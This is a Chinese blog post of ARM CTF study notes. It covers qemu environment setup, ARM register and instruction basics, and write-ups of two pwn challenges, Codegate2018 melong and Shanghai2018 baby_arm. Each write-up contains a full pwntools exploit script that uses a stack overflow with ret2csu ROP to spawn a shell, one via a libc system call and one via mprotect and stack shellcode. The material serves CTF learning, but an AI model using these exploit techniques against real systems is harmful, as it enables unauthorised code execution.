Arm基础学习

字数统计: 2.5k字   |   阅读时长≈ 10分

之前遇到Arm的题都比较简单，但是每次还需要去查寄存器、传参等基础知识，对其掌握并不牢固。所以，这里就总结一下常见题型吧。

arm环境搭建

qemu安装

1
2
3
4
5
6
#安装qemu
sudo apt-get install qemu 
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
sudo apt-get install uml-utilities
sudo apt-get install bridge-utils

安装gdb plugin

1
2
3
peda-arm: https://github.com/alset0326/peda-arm
pwndbg：https://github.com/pwndbg/pwndbg
gef：https://github.com/hugsy/gef

Arm库文件

对于大多数题目都会给运行 Arm的 libc库和ld文件，但是有些题目如果没有给 ld文件，那么可以考虑去下载和 libc版本对应的 ld-linux-armhf.so.3文件。下载命令为：

1
sudo apt-get install libc6-armhf-cross

然后在 /usr/arm-linux-gnueabihf/文件夹下即可找到运行所需的库文件。

也可以先搜索相关库文件：

1
apt search "libc6-" | grep "arm“

如果我们想在 Pwntools中兼容 arm的 asm环境，需要使用如下命令：

1
apt search binutils | grep [arch]

安装 binutils对应架构环境。

运行Arm

Arm文件也分为大小端序，运行时需要选择对应架构的qemu。同时也要区分64位 和 32位的 运行命令也是不同的。

如果要运行32Arm，可以使用如下命令：

1
qemu-arm 或 qemu-arm-static

运行64位 Arm，可以使用如下命令：

1
qemu-aarch64

当然，qemu都分为 系统模式和用户模式。除了上面使用用户模式运行程序外，我们也可以直接起一个qemu:

1
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic,macaddr=52:54:00:12:34:56 -net tap -nographic

当然，问题和我在mips环境搭建一文中所提到的一样，即如果要联通外网需要进行网络配置。

安装qemu-system

1
sudo apt-get install qemu qemu-user-static qemu-system uml-utilities bridge-utils

配置qemu-system网络

qemu-system模式配置网络常见的方法是 tap 桥接。

安装网络配置的依赖文件：

1
sudo apt install uml-utilities bridge-utils

修改Ubuntu主机网络接口配置文件：

1
sudo vim /etc/network/interfaces

image-20201230101230428

创建并编写qemu网络接口启动脚本

1
sudo vim /etc/qemu-ifup

image-20201230101306625

保存文件后使用如下命令修改qemu-ifup的权限：

1
sudo chmod a+x /etc/qemu-ifup

重启网络使配置生效：

1
sudo /etc/init.d/networking restart

启动桥接网络：

1
sudo ifdown ens33 && sudo ifup br0

运行之后，桥br0代替ens33接管了ubuntu虚拟机的网口。

arm基础知识

64位寄存器

X0-X7 ：传递子程序的参数和返回值，使用时不需要保存，多余的参数用堆栈传递，64位的返回结果保存在 X0 中；

X8 ：用于保存子程序的返回地址，使用时不需要保存；

X9-X15 : 临时寄存器，也可叫可变寄存器，子程序使用时不需要保存

X16 - X17 : 子程序内部调用寄存器(IPx)，使用时不需要保存，尽量不使用。

X18 : 平台寄存器，其使用与平台相关，尽量不要使用

X19 - X28 ：临时寄存器，子程序使用时必须保存

X29 ：帧指针寄存器(FP)，用于连接栈帧，使用时必须保存

X30 ：链接寄存器(LR)，用于保存子程序的返回地址

X31：堆栈指针寄存器（SP），用于指向每个函数的栈顶

32位寄存器

r0 - r3 ：用于函数调用传参，32位最多支持4个入参，当多余4个参数时将通过压栈方式进行传递，栈的方式为先进后出，当参数大于4个时，入栈顺序与参数顺序正好相反，子程序返回前无需恢复 r0 - r3的，32位的返回结果保存在 r0 中；

r4 - r11 ：用于保存局部变量，函数进入后首先就是将 r4 - 411 入栈保存，然后才能用于本函数使用，本函数使用完之后，要讲之前栈保存的数据恢复到 r4 - r11 中；

r7 ：系统调用时，存放系统调用号，有时用于作为 FP 使用，FP又叫 frame pinter 即栈基指针，主要在函数中保存当前函数的栈起始位置，用于堆栈回溯；

r13 ：SP，即栈指针寄存器，主要用于指向当前程序栈顶、配合指令 pop/push

r14 ：LR，即链接寄存器，主要用于存放函数的返回地址

r15 ：PC，即程序寄存器，主要用于存放CPU取值的地址，是取值地址，不是当前运行地址。

Arm指令简介

汇编语言由指令构成，而指令是主要的构建块。ARM指令通常后跟一个或两个操作数，并且通常使用以下模板：

MNEMONIC {S} {condition} {Rd}, Operand1, Operand2

说明如下：

1
2
3
4
5
6
MNEMONIC		-指令简称
{s}				-可选后缀，如果指定了s，则根据操作结果更新条件标志
{condition}		-执行指令需要满足的条件
{Rd}			-用于存储指令结果的寄存器
Operand1		-第一个操作数，寄存器或立即数
Operand2		-第二个操作数（可选），可以是立即数或带有可移位的寄存器

注意，由于ARM指令集的灵活性，并非所有指令都使用模板中提供的所有字段。其中，条件字段与CPSR寄存器的值紧密相关，或者确切说，与寄存器内特定位的值紧密相关。

Opreand2被称为灵活操作数，因为我们可以以多种形式使用它，例如，可以将这些表达式用作Operand2：

1
2
3
4
5
6
7
#123			- 立即数
Rx				- 寄存器（如R1，R2，R3...)
Rx, ASR n		- 寄存器算数右移n位(1=n=32)
Rx, LSL n		- 寄存器逻辑左移n位(0=n=31)
Rx, LSR n		- 寄存器逻辑右移n位(1=n=32)
Rx, ROR n		- 寄存器向右旋转n位(1=n=31)
Rx, RRX			- 寄存器向右旋转1位，拓展

常见指令为例：

1
2
3
4
ADD R0, R1, R2			- R1和R2相加，结果存储到R0
ADD R0, R1, #2			- R1和立即数2相加，结果存储到R0
MOVLE R0, #5			- 仅在满足条件LE(小于或等于)的情况下，将立即数移到R0
MOV R0, R1, LSL #1		- 将R1的内容逻辑左移1位至R0，例如R1的值位2，将其左移1位后变为4，将4移到R0

Codegate2018_melong

程序分析

1
2
3
4
5
6
7
8
9
10
11
_DWORD *__fastcall write_diary(_DWORD *result, void *a2)
{
  unsigned __int8 nbytes; // [sp+Fh] [bp-5h]

  nbytes = *result;
  if ( nbytes )
  {
    read(0, a2, nbytes);
    result = (_DWORD *)printf("you wrote %s\n", (const char *)a2);
  }
  return result;

此处存在栈溢出，这里的 size是由我们前面的堆块 size决定，如果堆块 size输入为 -1，那么malloc函数会返回 NULL，而这里 read函数即可以 读取无限长字符串。

利用分析

这里，我们直接利用csu来布置参数和 函数调用。

1
2
3
4
5
csu_front_addr = 0x11d00
csu_end_addr = 0x11d04
def csu(call_addr, arg0, arg1, arg2):
    payload = p32(csu_end_addr)+p32(call_addr)+p32(1)+p32(arg0)+p32(arg1)+p32(arg2)+p32(0)+p32(csu_end_addr)
    return payload

csu会随着编译版本不同，而改变。但是每个版本都可以用来布置参数和执行函数，需要具体分析一下。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# encoding=utf-8
from pwn import *

file_path = "melong"
context.arch = "i386"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    #p = process(['./qemu-riscv64', '-L', "libs", '-g','1234',file_path])
    p = process(['qemu-arm-static','-g','1234', '-L', "./", file_path])
    #p = remote('121.36.192.114',9999)
    e =ELF(file_path)
    libc = ELF('./lib/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('', 0)
    libc = ELF(file_path)
    one_gadget = 0x0

def check(hi, wg):
    p.sendlineafter('Type the number:', str(1))
    p.sendlineafter('Your height(meters) : ', str(hi))
    p.sendlineafter('Your weight(kilograms) : ',str(wg))

def Register(num):
    p.sendlineafter('Type the number:', str(3))
    p.sendlineafter('personal training?\n', str(num))

def Write(content):
    p.sendlineafter('Type the number:', str(4))
    p.sendline(content)

def exit():
    p.sendlineafter('Type the number:', str(6))
    p.recvuntil('See you again :)\n')

csu_front_addr = 0x11d00
csu_end_addr = 0x11d04
def csu(call_addr, arg0, arg1, arg2):
    payload = p32(csu_end_addr)+p32(call_addr)+p32(1)+p32(arg0)+p32(arg1)+p32(arg2)+p32(0)+p32(csu_end_addr)
    return payload


def Pwn():
    check(1, 1)
    Register(-1)

    p_r0_r = 0x11bbc
    puts_got = 0x2301c
    read_got = 0x23010
    payload = 'a'*0x54+p32(csu_front_addr)+csu(puts_got, read_got, 0, 0)
    payload += csu(read_got, 0, puts_got, 0xc)
    payload += csu(puts_got, puts_got+4, 0, 0)

    Write(payload)
    exit()
    read_addr = u32(p.recv(4))
    libc_base = read_addr - libc.sym['read']
    print('libc_base:',hex(libc_base))
    print('read_addr:',hex(read_addr))

    system_addr = libc_base + libc.sym['system']
    p.sendline(p32(system_addr)+'/bin/sh\x00')

    p.interactive()

Pwn()

Shanghai2018 – baby_arm

程序分析

1
2
3
4
5
6
7
8
9
10
__int64 sub_400818()
{
  ssize_t v0; // x0

  sub_400760();
  write(1, "Name:", 5uLL);
  v0 = read(0, &bbuf, 0x200uLL);
  vul(v0);
  return 0LL;
}
1
2
3
4
5
6
ssize_t sub_4007F0()
{
  __int64 v1; // [xsp+10h] [xbp+10h] BYREF

  return read(0, &v1, 0x200uLL);
}

程序漏洞很明显，存在一个栈溢出。而且读取时是从xbp后面开始输入，也就是自然就绕过了canary的检查。

利用分析

这道题的难点在于，不知道远程的libc版本，也就是不好直接用泄露libc地址来ROP执行 system。

程序中，我们可以看到有 mprotect函数，那么思路很明显是想让我们使用shellcode了。

那么思路就是：先将shellcode布置在栈上，然后使用rop执行 mprotect修改 shellcode的可执行权限，最后使用 ROP跳转执行 shellcode。

这里 ROP，我们仍然是使用 csu来布置。我尝试过直接使用 csu来调用 mprotect_got，但是却调用失败了，因为此时 mprotect_got还没有初始化为 mprotect函数地址。后面用了网上通用的方法，现在栈上写上 mprotect_plt的地址，然后将 该内存地址 的值赋给 x3。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.update(arch='aarch64', os = 'linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])
context.binary = "./pwn"
filename = './pwn'
debug = 1
if debug == 1:
    p = process(['qemu-aarch64-static', '-g','12345','-L', '/usr/aarch64-linux-gnu/', filename])
    elf = ELF(filename)

csu_front_addr = 0x4008ac
csu_end_addr = 0x4008cc
def csu(call_addr, arg0, arg1, arg2, jmp_addr):
    payload = p64(0)+p64(jmp_addr)+p64(0)+p64(1) #x29, x30, x19, x20
    payload += p64(call_addr)+p64(arg2) #x21, x22
    payload += p64(arg1)+p64(arg0)  #x23, x24
    return payload


def Pwn():
    shellcode = asm(shellcraft.sh())
    shellcode = shellcode.ljust(0x100, '\x90')
    shellcode = shellcode + p64(elf.plt['mprotect'])
    #shellcode = b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x03\xa0\x52\x40\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x7f\x40\x2f\x62\x69\x6e\x2f\x73\x68\x41"
    mprotect_addr = 0x411068+0x100

    p.sendlineafter('Name:', shellcode)
    buf_addr = 0x411000
    shell_addr = 0x411068
    payload = 'a'*0x40+p64(0)+p64(csu_end_addr)+csu(mprotect_addr, buf_addr, 0x1000, 7, csu_front_addr)
    payload += csu(mprotect_addr, buf_addr, 0x1000, 7, shell_addr)

    p.sendline(payload)

    p.interactive()

Pwn()
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing